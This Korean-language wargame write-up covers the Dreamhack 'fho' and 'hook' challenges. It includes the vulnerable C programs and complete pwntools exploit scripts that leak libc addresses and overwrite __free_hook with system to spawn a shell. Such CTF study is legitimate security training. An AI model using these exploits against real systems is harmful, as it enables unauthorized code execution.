[dreamhack] fho, hook

개요

일부 libc 함수는 함수가 호출되기 전에 호출하는 hook이 있는데, hook 함수주소를 overwrite해서 함수가 호출될 때 hook 대신 system 함수를 호출하도록 유도하는 공격이다.
이 공격기법은 libc 2.34 부터 막혔지만, canary, NX, full RELRO, PIE+ASLR 기법이 적용되더라도 공격이 가능한 방법이다.

fho

정보수집

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

공격

main의 리턴 주소?

3ab5febd-20bc-4ae5-885d-605403bf8559
3ab5febd-20bc-4ae5-885d-605403bf8559

hook은 libc의 bss 영역에 있기 때문에 libc의 베이스 주소를 알아와야 한다.
basic_rop에서 했던 것처럼 got영역을 이용할 수도 있지만, 한번 plt를 호출해서 리졸버를 확인해야되고, 일반적인 프로그래밍에서 got영역을 출력해줄 일은 없기 떄문에 원하는 함수를 이미 호출할 수 있어야한다.

libc는 다른 라이브러리와는 다르게 main 함수를 호출해주는 __libc_start_main 이라는 함수가 포함되어 있으며, 이 함수의 인자로 main함수의 포인터를 전달받아서 main을 호출할 수 있게 되는것이다.

그렇다면 main의 리턴 주소는 뭘까?
gdb에서 main 엔트리로 들어가면 __libc_start_main+243 으로 리턴하는 것을 볼 수 있다. 243 위치인것도 당연히 라이브러리마다 다르다.

f37f76a0-2c0d-4b73-befe-92fe3bee7098
f37f76a0-2c0d-4b73-befe-92fe3bee7098

공격 순서

  1. libc의 free_hook 에 system 함수의 주소를 overwrite 해서 대신 호출하도록 해야되기 때문에 free_hook의 위치, system 함수 주소, /bin/sh 문자열의 주소를 알아야 한다. 세개 모두 오프셋은 libc 바이너리를 확인하면 되고, libc의 베이스 주소만 알아내면 된다.
  2. 문제에서는 원하는 위치에 원하는 값을 적을 수 있기 때문에 더이상 할게 없다.

페이로드

p.recvuntil(b'\nBuf: ')
p.sendline(b'A'*0x47)
p.recvuntil(b'AAAA\n')

### 주의할점은 printf로 %s 가 출력된 값이기 때문에 \x00은 짤리게된다.
main_ret_addr = u64(p.recv(0x6) + b'\x00\x00')

# __libc_start_main이 libc의 함수이기 때문에 libc의 base_addr이 된다. 
base_addr = main_ret_addr - el.symbols['__libc_start_main'] - 243
# 또는 base_addr = main_ret_addr - el.libc_start_main_return (예약어인듯)
free_hook_addr = base_addr + el.symbols['__free_hook']
system_addr = base_addr + el.symbols['system']
binsh_addr = base_addr + next(el.search(b'/bin/sh'))

### 이후 과정은 그냥 원하는 메모리 주소를 전달하는 것 밖에 없다. 
p.recvuntil(b'To write: ')
# scanf로 입력받기 때문에 sendline을 사용해야 한다. 
p.sendline(str(free_hook_addr).encode())
p.recvuntil(b'With: ')
p.sendline(str(system_addr).encode())
p.recvuntil('To free: ')
p.sendline(str(binsh_addr).encode())

p.interactive()

hook

이 문제는 사실 어렵진 않지만, hook을 좀더 생각해볼 수 있는 문제라 같이 정리한다.
hook 주소도 역시 got처럼 데이터 영역임을 기억하자.

정보수집

문제에서는 ptr에 힙 영역을 할당받아 주소를 전달하고, ptr+1 위치의 값을 ptr이 가리키는 주소의 값에 넣는다.
이후에는 free로 해제하는데 연속으로 2번 해제하면서 double free 문제도 발생한다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

공격

공격 시나리오

  1. free를 두번하는 double free는 어떤 경우도 피해갈 수 없기 때문에 free의 훅에서 쉘을 얻어야 하는 것을 알 수 있다.
  2. ptr에 저장된 값은 저장이 가능해야하며, 코드 중간에 ptr+1 의 값을 저장하는 것을 알 수 있는데, Data에서 입력받을때 ptr+1에 원하는 값을 넣으면된다.
  3. 아래에서는 공교롭게도 내가 원하는 시스템 함수가 있으며, checksec의 결과로 PIE가 적용되지 않음을 알 수 있기 때문에 그냥 main에서 호출하는 이 주소를 전달해주면 될 것 이다. (원샷 가젯을 사용해도 괜찮음)
  4. 결국에는 **ptr 위치에 쉘 획득 함수를 넣어둬야 되고, *ptr에는 값을 쓸 수 있는 위치(free_hook 등)면 된다.
  5. 시스템 함수는 rdi 에 “/bin/sh” 문자열을 넣는 것을 생각해서 파라미터 세팅부터 실행시켜야된다.

ebe2684f-b0b7-4e22-b97f-3de9d2344fee
ebe2684f-b0b7-4e22-b97f-3de9d2344fee

페이로드에서 stdout으로 libc의 base를 얻는 것을 확인할 수 있는데 libc에서 검색해보면 stdout이 3개나 된다.

8b47953c-43b9-4ccf-a8ab-df086fd50408
8b47953c-43b9-4ccf-a8ab-df086fd50408

세개의 객체 모두 버전 별 stdout이지만, stdout이 저장하고있는 포인터를 출력했을 때 어떤 객체를 가리키는지는 알 수 없기 때문에 셋다 해봐야 알 수 있고, 실제 문제 환경에서는 __IO_2_1_stdout 객체를 가리키고 있었다.

페이로드

p.recvuntil(b'stdout: ')
msg = p.recvline()
stdout_addr = int(msg[:-1], 16)
print(hex(stdout_addr))

base_addr = stdout_addr - el.symbols['_IO_2_1_stdout_']

free_hook_addr = base_addr + el.symbols['__free_hook']
system_addr = 0x400a11

print(p.recvuntil(b'Size: '))
p.sendline(str(0x10).encode())

print(p.recvuntil(b'Data: '))

payload = p64(free_hook_addr) + p64(system_addr)

p.send(payload)

p.interactive()

기억할점

  1. 함수의 호출은 결국 특정 코드 주소의 명령을 순서대로 실행할 뿐이다. 프롤로그, 에필로그가 없더라도 어떤 코드든 실행은 가능하다. (이후 스택이 깨지거나 할 순 있지만..)
  2. hook들도 .bss영역의 데이터일 뿐이다. hook의 주소에 접근해야 실제 후킹 함수의 주소를 얻을 수 있다.

Comments

ESC
Type to search...